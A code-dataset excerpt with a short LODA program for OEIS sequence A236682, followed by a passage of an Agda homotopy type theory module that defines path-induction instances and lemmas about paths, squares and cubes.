max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
programs/oeis/236/A236682.asm | karttu/loda | 1 | 246388 | <gh_stars>1-10
; A236682: Values of a for triples (a,b,c) of positive integers such that 1/a + 1/b + 1/c = 1/2 and a <= b <= c, listed with multiplicity.
; 3,3,3,3,3,4,4,4,5,6
add $0,2
mov $1,2
lpb $0,1
sub $0,6
add $1,1
mul $0,2
lpe
|
PathInduction.agda | guillaumebrunerie/JamesConstruction | 5 | 15552 | {-# OPTIONS --without-K --rewriting #-}
module PathInduction where
open import Base public
-- The rewriting relation
{-<rewrite>-}
postulate
_โฆ_ : โ {i} {A : Type i} โ A โ A โ Type i
{-# BUILTIN REWRITE _โฆ_ #-}
{-</>-}
-- We redefine concatenation of paths to use induction on both paths, in order
-- to make unification more powerful
infixr 80 _โ_
_โ_ : โ {i} {A : Type i} {a b c : A} (p : a == b) (q : b == c) โ a == c
idp โ idp = idp
record Coh {i} (A : Type i) : Type i where
field
& : A
open Coh public
instance
Jโ : โ {i j k} {A : Type i} {B : A โ Type j} {f : (a : A) โ B a} {P : {g : (a : A) โ B a} (h : (a : A) โ f a == g a) โ Type k}
โ Coh (P (ฮป a โ idp)) โ Coh ({g : (a : A) โ B a} โ (h : (a : A) โ f a == g a) โ P h)
& (Jโ {A = A} {B} {f} {P = P} d) h = transport P (ฮป= (app=-ฮฒ h)) (J-aux (ฮป= h)) where
J-aux : {g : (a : A) โ B a} (h : f == g) โ P (app= h)
J-aux idp = & d
Jโ! : โ {i j k} {A : Type i} {B : A โ Type j} {f : (a : A) โ B a} {P : {g : (a : A) โ B a} (h : (a : A) โ g a == f a) โ Type k}
โ Coh (P (ฮป a โ idp)) โ Coh ({g : (a : A) โ B a} โ (h : (a : A) โ g a == f a) โ P h)
& (Jโ! {A = A} {B} {f} {P = P} d) h = transport P (ฮป= (app=-ฮฒ h)) (J-aux (ฮป= h)) where
J-aux : {g : (a : A) โ B a} (h : g == f) โ P (app= h)
J-aux idp = & d
module _ {i j} {A : Type i} {a : A} where
instance
J- : {B : (a' : A) โ a == a' โ Type j}
โ Coh (B a idp) โ Coh ({a' : A} (p : a == a') โ B a' p)
& (J- d) idp = & d
J! : {B : (a' : A) โ a' == a โ Type j}
โ Coh (B a idp) โ Coh ({a' : A} (p : a' == a) โ B a' p)
& (J! d) idp = & d
Jโก : {B : {b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} โ Square p q r s โ Type j}
โ Coh (B ids) โ Coh ({b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} (sq : Square p q r s) โ B sq)
& (Jโก {B = B} d) ids = & d
Jโกi : {B : {b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} โ Square p q r s โ Type j}
โ Coh (B ids) โ Coh ({b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} {sq : Square p q r s} โ B sq)
& (Jโกi {B = B} d) {sq = ids} = & d
Jโก1 : {B : (p : a == a) โ Square p idp idp idp โ Type j}
โ Coh (B idp ids) โ Coh ({p : a == a} (sq : Square p idp idp idp) โ B p sq)
& (Jโก1 {B = B} d) c = aux B (& d) c where
e : {a b c d : A} (q : a == c) (r : b == d) (s : c == d) โ Square (q โ s โ ! r) q r s
e idp idp idp = ids
aux : {a b c d : A} {q : a == c} {r : b == d} {s : c == d} (B : (p : a == b) โ Square p q r s โ Type j)
โ B (q โ s โ ! r) (e q r s) โ {p : a == b} (sq : Square p q r s) โ B p sq
aux B d ids = d
Jโก2 : {B : (p : a == a) โ Square idp p idp idp โ Type j}
โ Coh (B idp ids) โ Coh ({p : a == a} (sq : Square idp p idp idp) โ B p sq)
& (Jโก2 {B = B} d) c = aux B (& d) c where
e : {a b c d : A} (p : a == b) (r : b == d) (s : c == d) โ Square p (p โ r โ ! s) r s
e idp idp idp = ids
aux : {a b c d : A} {p : a == b} {r : b == d} {s : c == d} (B : (q : a == c) โ Square p q r s โ Type j)
โ B (p โ r โ ! s) (e p r s) โ {q : a == c} (sq : Square p q r s) โ B q sq
aux B d ids = d
Jโก3 : {B : (p : a == a) โ Square idp idp p idp โ Type j}
โ Coh (B idp ids) โ Coh ({p : a == a} (sq : Square idp idp p idp) โ B p sq)
& (Jโก3 {B = B} d) c = aux B (& d) c where
e : {a b c d : A} (p : a == b) (q : a == c) (s : c == d) โ Square p q (! p โ q โ s) s
e idp idp idp = ids
aux : {a b c d : A} {p : a == b} {q : a == c} {s : c == d} (B : (r : b == d) โ Square p q r s โ Type j)
โ B (! p โ q โ s) (e p q s) โ {r : b == d} (sq : Square p q r s) โ B r sq
aux B d ids = d
Jโก4 : {B : (p : a == a) โ Square idp idp idp p โ Type j}
โ Coh (B idp ids) โ Coh ({p : a == a} (sq : Square idp idp idp p) โ B p sq)
& (Jโก4 {B = B} d) c = aux B (& d) c where
e : {a b c d : A} (p : a == b) (q : a == c) (r : b == d) โ Square p q r (! q โ p โ r)
e idp idp idp = ids
aux : {a b c d : A} {p : a == b} {q : a == c} {r : b == d} (B : (s : c == d) โ Square p q r s โ Type j)
โ B (! q โ p โ r) (e p q r) โ {s : c == d} (sq : Square p q r s) โ B s sq
aux B d ids = d
instance
idp-Coh : โ {i} {A : Type i} {a : A} โ Coh (a == a)
& idp-Coh = idp
ids-Coh : โ {i} {A : Type i} {a : A} โ Coh (Square {aโโ = a} idp idp idp idp)
& ids-Coh = ids
idc-Coh : โ {i} {A : Type i} {a : A} โ Coh (Cube {aโโโ = a} ids ids ids ids ids ids)
& idc-Coh = idc
-- Allows us to put the initial [a] in the [Coh]
strip-a : โ {i j} {A : Type i} {P : A โ A โ Type j} โ ((a : A) โ Coh ({b : A} โ P a b)) โ Coh ({a b : A} โ P a b)
& (strip-a z) = & (z _)
-- Allows us to put the initial [A] in the [Coh]
strip-A : โ {i j} {P : Type i โ Type j} โ ((A : Type i) โ Coh (P A)) โ Coh ({A : Type i} โ P A)
& (strip-A z) = & (z _)
-- Allows us to have implicit arguments
implicit : โ {i j k} {A : Type i} {B : A โ Type j} {C : (a : A) โ B a โ Type k} โ Coh ({a : A} (b : B a) โ C a b) โ Coh ({a : A} {b : B a} โ C a b)
& (implicit d) = & d _
path-induction : โ {i} {A : Type i} {{a : A}} โ A
path-induction {{a}} = a
-- Rules for cubes
instance
idsidc1-Coh : โ {i} {A : Type i} {a : A} โ Coh (ฮฃ (Square (idp {a = a}) idp idp idp) (ฮป left โ Cube left ids ids ids ids ids))
& idsidc1-Coh = (ids , idc)
idsidc2-Coh : โ {i} {A : Type i} {a : A} โ Coh (ฮฃ (Square (idp {a = a}) idp idp idp) (ฮป right โ Cube ids right ids ids ids ids))
& idsidc2-Coh = (ids , idc)
idsidc6-Coh : โ {i} {A : Type i} {a : A} โ Coh (ฮฃ (Square (idp {a = a}) idp idp idp) (ฮป front โ Cube ids ids ids ids ids front))
& idsidc6-Coh = (ids , idc)
module _ {i j} {A : Type i} {a : A} where
instance
JCube1 : {B : (p : Square {aโโ = a} idp idp idp idp) โ Cube p ids ids ids ids ids โ Type j}
โ Coh (B ids idc) โ Coh ({p : Square {aโโ = a} idp idp idp idp} (cube : Cube p ids ids ids ids ids) โ B p cube)
& (JCube1 {B = B} d) c = aux B (& d) c where
comp : Coh ({aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
(right : Square pโโโ pโโโ pโโโ pโโโ)
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ}
(back : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(top : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(bottom : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(front : Square pโโโ pโโโ pโโโ pโโโ)
โ ฮฃ (Square pโโโ pโโโ pโโโ pโโโ) (ฮป left โ Cube left right back top bottom front))
comp = path-induction
aux : {aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
-- missing left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{right : Square pโโโ pโโโ pโโโ pโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{back : Square pโโโ pโโโ pโโโ pโโโ}
{top : Square pโโโ pโโโ pโโโ pโโโ}
{bottom : Square pโโโ pโโโ pโโโ pโโโ}
{front : Square pโโโ pโโโ pโโโ pโโโ}
โ (B : (left : Square pโโโ pโโโ pโโโ pโโโ) โ Cube left right back top bottom front โ Type j)
โ uncurry B (& comp right back top bottom front)
โ ({left : Square pโโโ pโโโ pโโโ pโโโ} (cube : Cube left right back top bottom front) โ B left cube)
aux B d idc = d
JCube2 : {B : (p : Square {aโโ = a} idp idp idp idp) โ Cube ids p ids ids ids ids โ Type j}
โ Coh (B ids idc) โ Coh ({p : Square {aโโ = a} idp idp idp idp} (cube : Cube ids p ids ids ids ids) โ B p cube)
& (JCube2 {B = B} d) c = aux B (& d) c where
comp : Coh ({aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
(left : Square pโโโ pโโโ pโโโ pโโโ)
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ}
(back : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(top : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(bottom : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(front : Square pโโโ pโโโ pโโโ pโโโ)
โ ฮฃ (Square pโโโ pโโโ pโโโ pโโโ) (ฮป right โ Cube left right back top bottom front))
comp = path-induction
aux : {aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{left : Square pโโโ pโโโ pโโโ pโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{back : Square pโโโ pโโโ pโโโ pโโโ}
{top : Square pโโโ pโโโ pโโโ pโโโ}
{bottom : Square pโโโ pโโโ pโโโ pโโโ}
{front : Square pโโโ pโโโ pโโโ pโโโ}
โ (B : (right : Square pโโโ pโโโ pโโโ pโโโ) โ Cube left right back top bottom front โ Type j)
โ uncurry B (& comp left back top bottom front)
โ ({right : Square pโโโ pโโโ pโโโ pโโโ} (cube : Cube left right back top bottom front) โ B right cube)
aux B d idc = d
JCube6 : {B : (p : Square {aโโ = a} idp idp idp idp) โ Cube ids ids ids ids ids p โ Type j}
โ Coh (B ids idc) โ Coh ({p : Square {aโโ = a} idp idp idp idp} (cube : Cube ids ids ids ids ids p) โ B p cube)
& (JCube6 {B = B} d) c = aux B (& d) c where
comp : Coh ({aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
(left : Square pโโโ pโโโ pโโโ pโโโ)
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ}
(back : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(top : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(bottom : Square pโโโ pโโโ pโโโ pโโโ)
{pโโโ : aโโโ == aโโโ}
(right : Square pโโโ pโโโ pโโโ pโโโ)
โ ฮฃ (Square pโโโ pโโโ pโโโ pโโโ) (ฮป front โ Cube left right back top bottom front))
comp = path-induction
aux : {aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{left : Square pโโโ pโโโ pโโโ pโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{right : Square pโโโ pโโโ pโโโ pโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{back : Square pโโโ pโโโ pโโโ pโโโ}
{top : Square pโโโ pโโโ pโโโ pโโโ}
{bottom : Square pโโโ pโโโ pโโโ pโโโ}
โ (B : (front : Square pโโโ pโโโ pโโโ pโโโ) โ Cube left right back top bottom front โ Type j)
โ uncurry B (& comp left back top bottom right)
โ ({front : Square pโโโ pโโโ pโโโ pโโโ} (cube : Cube left right back top bottom front) โ B front cube)
aux B d idc = d
-- Flat cubes (cubes where the four lateral faces are actually only 2-dimensional paths
data FlatCube {i} {A : Type i} {a : A} :
{b c d : A} {p p' : a == b} {q q' : a == c} {r r' : b == d} {s s' : c == d}
โ Square p q r s โ Square p' q' r' s' โ p == p' โ q == q' โ r == r' โ s == s' โ Type i where
idfc : FlatCube ids ids idp idp idp idp
instance
idfc-Coh : โ {i} {A : Type i} {a : A} โ Coh (FlatCube {a = a} ids ids idp idp idp idp)
& idfc-Coh = idfc
JFlatCube1 : โ {i j} {A : Type i} {a : A} {B : (p : Square {aโโ = a} idp idp idp idp) โ FlatCube p ids idp idp idp idp โ Type j}
โ Coh (B ids idfc) โ Coh ({p : Square {aโโ = a} idp idp idp idp} (cube : FlatCube p ids idp idp idp idp) โ B p cube)
& (JFlatCube1 {i} {j} {B = B} d) c = aux B (& d) c where
comp : {A : Type i} {a b c d : A} {p' : a == b} {q' : a == c} {r' : b == d} {s' : c == d} (sq' : Square p' q' r' s')
{p : a == b} (p= : p == p') {q : a == c} (q= : q == q') {r : b == d} (r= : r == r') {s : c == d} (s= : s == s')
โ Square p q r s
comp ids idp idp idp idp = ids
fill : {A : Type i} {a b c d : A} {p' : a == b} {q' : a == c} {r' : b == d} {s' : c == d} (sq' : Square p' q' r' s')
{p : a == b} (p= : p == p') {q : a == c} (q= : q == q') {r : b == d} (r= : r == r') {s : c == d} (s= : s == s')
โ FlatCube (comp sq' p= q= r= s=) sq' p= q= r= s=
fill ids idp idp idp idp = idfc
aux : {A : Type i} {a b c d : A} {p' : a == b} {q' : a == c} {r' : b == d} {s' : c == d} {sq' : Square p' q' r' s'}
{p : a == b} {p= : p == p'} {q : a == c} {q= : q == q'} {r : b == d} {r= : r == r'} {s : c == d} {s= : s == s'}
(B : (sq : Square p q r s) (fil : FlatCube sq sq' p= q= r= s=) โ Type j)
โ B (comp sq' p= q= r= s=) (fill sq' p= q= r= s=)
โ {sq : Square p q r s} (fil : FlatCube sq sq' p= q= r= s=) โ B sq fil
aux B d idfc = d
JFlatCube2 : โ {i j} {A : Type i} {a : A} {B : (p : Square {aโโ = a} idp idp idp idp) โ FlatCube ids p idp idp idp idp โ Type j}
โ Coh (B ids idfc) โ Coh ({p : Square {aโโ = a} idp idp idp idp} (cube : FlatCube ids p idp idp idp idp) โ B p cube)
& (JFlatCube2 d) idfc = & d
ap-โ : โ {i j} {A : Type i} {B : Type j} (f : A โ B) {a b c : A} (p : a == b) (q : b == c) โ ap f (p โ q) == ap f p โ ap f q
ap-โ f idp idp = idp
ap-โ! : โ {i j} {A : Type i} {B : Type j} (f : A โ B) {a b : A} (p : a == b) {c : A} (q : c == b) โ ap f (p โ ! q) == ap f p โ ! (ap f q)
ap-โ! f idp idp = idp
ap-shape-โ! : โ {i j} {A : Type i} {B : Type j} (f : A โ B) {a b c : A} {p : a == b} {q : a == c} {r : b == c}
โ p == q โ ! r โ ap f p == ap f q โ ! (ap f r)
ap-shape-โ! f {q = idp} {r = idp} idp = idp
ap-!โ : โ {i j} {A : Type i} {B : Type j} (f : A โ B) {a b : A} (p : b == a) {c : A} (q : b == c) โ ap f (! p โ q) == ! (ap f p) โ ap f q
ap-!โ f idp idp = idp
โ-ap : โ {i j k} {A : Type i} {B : Type j} {C : Type k} (g : B โ C) (f : A โ B)
{x y : A} (p : x == y) โ ap g (ap f p) == ap (g โ f) p
โ-ap f g p = ! (ap-โ f g p)
โidp : โ {i} {A : Type i} {a b : A} {p : a == b} โ p โ idp == p
โidp {p = idp} = idp
idpโ : โ {i} {A : Type i} {a a' : A} {p : a == a'} โ idp โ p == p
idpโ {p = idp} = idp
!-inv-r : โ {i} {A : Type i} {a b : A} {p : a == b} โ p โ ! p == idp
!-inv-r {p = idp} = idp
!-inv-l : โ {i} {A : Type i} {a b : A} {p : a == b} โ ! p โ p == idp
!-inv-l {p = idp} = idp
module _ {i} {A : Type i} where
horiz-degen-square : {a a' : A} {p q : a == a'}
โ p == q โ Square p idp idp q
horiz-degen-square idp = hid-square
vert-degen-square : {a a' : A} {p q : a == a'}
โ p == q โ Square idp p q idp
vert-degen-square idp = vid-square
horiz-degen-path : {a a' : A} {p q : a == a'}
โ Square p idp idp q โ p == q
horiz-degen-path {p = idp} ids = idp
horiz-degen-square-idp : {a a' : A} {p : a == a'}
โ horiz-degen-square (idp {a = p}) == hid-square
horiz-degen-square-idp {p = idp} = idp
horiz-degen-square-ฮฒ : {a a' : A} {p q : a == a'} {sq : Square p idp idp q} โ horiz-degen-square (horiz-degen-path sq) == sq
horiz-degen-square-ฮฒ {p = idp} {sq = ids} = idp
horiz-degen-square-ฮท : {a a' : A} {p q : a == a'} {r : p == q} โ horiz-degen-path (horiz-degen-square r) == r
horiz-degen-square-ฮท {p = idp} {r = idp} = idp
module _ {i j} {A : Type i} {B : Type j} {f g : A โ B} where
natural-square : (h : (a : A) โ f a == g a)
{x y : A} (p : x == y)
โ {fp : f x == f y} (fp= : ap f p == fp)
โ {gp : g x == g y} (gp= : ap g p == gp)
โ Square (h x) fp gp (h y)
natural-square h idp idp idp = hid-square
โ-='-to-square : {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y}
โ {fp : f x == f y} (fp= : ap f p == fp)
โ {gp : g x == g y} (gp= : ap g p == gp)
โ u == v [ (ฮป z โ f z == g z) โ p ]
โ Square u fp gp v
โ-='-to-square {p = idp} idp idp ฮฑ = horiz-degen-square ฮฑ
โ-='-from-square : {x y : A} {p : x == y} {u : f x == g x} {v : f y == g y}
โ {fp : f x == f y} (fp= : ap f p == fp)
โ {gp : g x == g y} (gp= : ap g p == gp)
โ Square u fp gp v
โ u == v [ (ฮป z โ f z == g z) โ p ]
โ-='-from-square {p = idp} idp idp sq = horiz-degen-path sq
{- Used for getting square equivalents of glue-ฮฒ terms -}
natural-square-ฮฒ : (h : (a : A) โ f a == g a)
{x y : A} (p : x == y)
{fp : f x == f y} {fp= : ap f p == fp}
{gp : g x == g y} {gp= : ap g p == gp}
{sq : Square (h x) fp gp (h y)}
โ apd h p == โ-='-from-square fp= gp= sq
โ natural-square h p fp= gp= == sq
natural-square-ฮฒ _ idp {fp= = idp} {gp= = idp} ฮฑ = ! horiz-degen-square-idp โ ap horiz-degen-square ฮฑ โ horiz-degen-square-ฮฒ
module _ {i j k} {A : Type i} {B : Type j} (C : B โ Type k) (f : A โ B) where
โ-ap-in2 : {x y : A} {p : x == y} {u : C (f x)} {v : C (f y)}
{fp : f x == f y} (fp= : ap f p == fp)
โ u == v [ C โ f โ p ]
โ u == v [ C โ fp ]
โ-ap-in2 {p = idp} idp idp = idp
module _ {i j k} {A : Type i} {B : Type j} (C : B โ Type k) {f : A โ B} where
โ-ap-in-coh : {X : Type i} {g : X โ A} {x y : X} {p : x == y} {gp : g x == g y} {p-ฮฒ : ap g p == gp} (h : (a : A) โ C (f a))
โ โ-ap-in C f (apd h gp) == โ-ap-in2 C (f โ g) (ap-โ f g p โ ap (ap f) p-ฮฒ) (apd (h โ g) p)
โ-ap-in-coh {p = idp} {p-ฮฒ = idp} h = idp
โ-PathOver-from-square : โ {i j} {A X : Type i} {P : A โ Type j} {a b : X โ A}
{q : (x : X) โ a x == b x} {f : (x : X) โ P (a x)} {g : (x : X) โ P (b x)}
{x y : X} {p : x == y} {u : PathOver P (q x) (f x) (g x)} {v : PathOver P (q y) (f y) (g y)}
{a-p : a x == a y} {ap= : ap a p == a-p}
{b-p : b x == b y} {bp= : ap b p == b-p}
โ SquareOver P (natural-square q p ap= bp=) u (โ-ap-in2 P a {p = p} ap= (apd f p)) (โ-ap-in2 P b bp= (apd g p)) v
โ u == v [ (ฮป z โ f z == g z [ P โ q z ]) โ p ]
โ-PathOver-from-square {p = idp} {ap= = idp} {bp= = idp} pq = coh pq where
coh : โ {i j} {A : Type i} {P : A โ Type j} {a b : A} {q : a == b} {f : P a} {g : P b} {u v : f == g [ P โ q ]}
โ SquareOver P hid-square u idp idp v โ u == v
coh {q = idp} {u = idp} ids = idp
adapt-SquareOver : โ {i j} {A : Type i} {P : A โ Type j} {a b c d : A}
{p : a == b} {q : a == c} {r : b == d} {s : c == d} {sq : Square p q r s}
{a' : P a} {b' : P b} {c' : P c} {d' : P d}
{p' : a' == b' [ P โ p ]} {q' q'2 : a' == c' [ P โ q ]}
{r' r'2 : b' == d' [ P โ r ]} {s' : c' == d' [ P โ s ]}
(q'= : q' == q'2) (r'= : r' == r'2)
โ SquareOver P sq p' q' r' s'
โ SquareOver P sq p' q'2 r'2 s'
adapt-SquareOver {sq = ids} idp idp ids = ids
ap-square-natural-square : โ {i j k} {A : Type i} {B : Type j} {C : Type k} (f : B โ C) โ
Coh ({a b : A} (p : a == b) {u v : A โ B} (g : (x : A) โ u x == v x)
{up : u a == u b} {up= : ap u p == up}
{vp : v a == v b} {vp= : ap v p == vp}
{fup : ap (ฮป z โ f (u z)) p == ap f up} (fup= : ap-โ f u p โ ap (ap f) up= == fup)
{fvp : ap (ฮป z โ f (v z)) p == ap f vp} (fvp= : ap-โ f v p โ ap (ap f) vp= == fvp)
โ ap-square f (natural-square g p up= vp=) == natural-square (ap f โ g) p fup fvp)
ap-square-natural-square {i} {j} {k} f = path-induction
ap-square-horiz-degen-square : โ {i j} {A : Type i} {B : Type j} {f : A โ B} {a a' : A} {p p' : a == a'} (p= : p == p') โ ap-square f (horiz-degen-square p=) == horiz-degen-square (ap (ap f) p=)
ap-square-horiz-degen-square {p = idp} idp = idp
adapt-square : โ {i} {A : Type i} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} (sq : Square p q r s)
{q' : a == c} (q= : q == q') {r' : b == d} (r= : r == r')
โ Square p q' r' s
adapt-square ids idp idp = ids
ap2-idf : โ {i} โ Coh ({A : Type i} {x y : A} {p q : x == y} {r : p == q} โ Square (ap (ap (ฮป z โ z)) r) (ap-idf _) (ap-idf _) r)
ap2-idf = path-induction
ap-โ3 : โ {i j k l} {A : Type i} {B : Type j} {C : Type k} {D : Type l}
(f : C โ D) (g : B โ C) (h : A โ B) {a b : A} (p : a == b)
โ Square (ap-โ f (g โ h) p) (ap-โ (f โ g) h p) (ap (ap f) (ap-โ g h p)) (ap-โ f g (ap h p))
ap-โ3 f g h idp = ids
_โโก_ : โ {i} {A : Type i} {a b c d e f : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} {t : c == e} {u : d == f} {v : e == f}
(sq1 : Square p q r s) (sq2 : Square s t u v)
โ Square p (q โ t) (r โ u) v
ids โโก ids = ids
_|โ_ : โ {i} {A : Type i} {a b c d : A} {p p' : a == b} {q : a == c} {r : b == d} {s : c == d}
(p= : p == p') (sq1 : Square p' q r s)
โ Square p q r s
idp |โ ids = ids
_โ|_ : โ {i} {A : Type i} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s s' : c == d}
(sq1 : Square p q r s) (s= : s == s')
โ Square p q r s'
ids โ| idp = ids
infixr 80 _โโก_ _|โ_ _โ|_
_โยณx_ : โ {i} {A : Type i}
{aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- middle
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโl : aโโโ == aโโโ} {pโโl : aโโโ == aโโโ}
{pโโl : aโโโ == aโโโ} {pโโl : aโโโ == aโโโ}
{sqโโl : Square pโโโ pโโl pโโl pโโโ} -- backl
{sqโโl : Square pโโโ pโโl pโโl pโโโ} -- topl
{sqโโl : Square pโโโ pโโl pโโl pโโโ} -- bottoml
{sqโโl : Square pโโโ pโโl pโโl pโโโ} -- frontl
{pโโr : aโโโ == aโโโ} {pโโr : aโโโ == aโโโ}
{pโโr : aโโโ == aโโโ} {pโโr : aโโโ == aโโโ}
{sqโโr : Square pโโโ pโโr pโโr pโโโ} -- backr
{sqโโr : Square pโโโ pโโr pโโr pโโโ} -- topr
{sqโโr : Square pโโโ pโโr pโโr pโโโ} -- bottomr
{sqโโr : Square pโโโ pโโr pโโr pโโโ} -- frontr
โ Cube sqโโโ sqโโโ sqโโl sqโโl sqโโl sqโโl
โ Cube sqโโโ sqโโโ sqโโr sqโโr sqโโr sqโโr
โ Cube sqโโโ sqโโโ (sqโโl โโก sqโโr) (sqโโl โโก sqโโr)
(sqโโl โโก sqโโr) (sqโโl โโก sqโโr)
idc โยณx idc = idc
infixr 80 _โยณx_
x-degen-cube : โ {i} {A : Type i} {aโโ aโโ aโโ aโโ : A}
{pโโ : aโโ == aโโ} {pโโ : aโโ == aโโ}
{pโโ : aโโ == aโโ} {pโโ : aโโ == aโโ}
{sqโโโ sqโโโ : Square pโโ pโโ pโโ pโโ}
โ sqโโโ == sqโโโ
โ Cube sqโโโ sqโโโ hid-square hid-square hid-square hid-square
x-degen-cube {sqโโโ = ids} idp = idc
natural-cube-ฮทโ : โ {i j} {A : Type i} {B : Type j}
{u : A โ B}
{r : (a : A) โ u a == u a}
(p : โ a โ r a == idp)
{x y : A} (q : x == y)
{uq : u x == u y} {uq= : ap u q == uq}
โ Cube (horiz-degen-square (p x)) (horiz-degen-square (p y))
(natural-square r q uq= uq=) vid-square vid-square vid-square
natural-cube-ฮทโ p idp {uq= = idp} = x-degen-cube idp
natural-square-โ : โ {i} {A B C : Type i} {a b : C} (p : a == b) (k : C โ A) โ
Coh ({f g : A โ B} (h : (a : A) โ f a == g a)
{fkp : _} {fkp= : ap (f โ k) p == fkp}
{gkp : _} {gkp= : ap (g โ k) p == gkp}
{fkp2 : _} (fkp2= : โ-ap f k p โ fkp= == fkp2)
{gkp2 : _} (gkp2= : โ-ap g k p โ gkp= == gkp2)
โ natural-square (h โ k) p fkp= gkp= == natural-square h (ap k p) fkp2 gkp2)
natural-square-โ idp = path-induction
_-โยณ_ : โ {i} {A : Type i}
{aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ sqโโโ' : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโ : aโโโ == aโโโ} {pโโ : aโโโ == aโโโ}
{pโโ : aโโโ == aโโโ} {pโโ : aโโโ == aโโโ}
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- back
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- top
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- bottom
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- front
โ (sqโโโ == sqโโโ')
โ Cube sqโโโ' sqโโโ sqโโ sqโโ sqโโ sqโโ
